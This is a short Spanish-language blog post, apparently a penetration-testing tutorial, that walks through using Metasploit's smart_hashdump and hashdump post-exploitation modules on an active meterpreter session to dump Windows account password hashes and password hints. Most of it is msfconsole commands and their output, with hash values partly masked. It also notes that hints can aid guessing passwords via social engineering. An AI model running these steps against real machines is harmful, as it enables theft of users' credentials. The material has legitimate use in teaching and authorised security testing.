Otra vez volvemos a presentar algo de metasploit. En este caso una forma sencilla de obtener un volcado del hashdump de usuarios y contraseñas de un equipo al que tengamos acceso, así como un listado de las frases que usa Windows para darle pistas al usuario en caso de que se olvide la contraseña. Esta frase si está bien creada puede ayudar a descubrir la contraseña del usuario de forma simple, ya que da información que empleando redes sociales o ingeniería social, se podría conseguir. Para poder conseguir estos datos únicamente debemos de tener usa sesión de meterpreter activa.
msf exploit(ms08_067_netapi)> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter WIN-VIRT 192.168.1.33:4444 -> 192.168.1.50:1949
Si tenemos esto, entonces ya podemos emplear 2 módulos existentes para obtener el hashdump que nos interes. Estos módulos son:
- smart_hashdump
msf post(ms08_067_netapi)> use post/windows/gather/smart_hashdump msf post(smart_hashdump)> set SESSION 1 SESSION => 1 msf post(smart_hashdump)> exploit [*] Running module against WIN-VIRT [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/default_192.168.1.50_windows.hashes.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 264XXX [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+] Javier:"p0wned" [*] Dumping password hashes... [+] Administrador:500:5b98b5c244XXX::: [+] Asistente de ayuda:1000:b4a4XXX::: [+] SUPPORT_388945a0:1002:aaf418XXX::: [+] Javier:1003:5b98bXXX::: [+] ASPNET:1005:6a695044XXX::: [*] Post module execution completed
- hashdump
msf post(smart_hashdump)> use post/windows/gather/hashdump msf post(hashdump)> set SESSION 1 SESSION => 1 msf post(hashdump)> exploit [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 264XXX [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... Javier:"p0wned" [*] Dumping password hashes... Administrador:500:5b9XXX::: Invitado:501:aadXXX::: Asistente de ayuda:1000:b4aXXX::: SUPPORT_388945a0:1002:aadXXX::: Javier:1003:5b9XXX::: ASPNET:1005:6a6XXX::: [*] Post module execution completed
En caso de que al ejecutar el exploit ningún usuario tenga configurado una passwd, la salida que tendremos será tal que así, respectivamente.
- smart_hashdump
[*] Dumping password hints... [*] No users with password hints on this system [*] Dumping password hashes...
- hashdump
[*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes...
No hay comentarios :
Publicar un comentario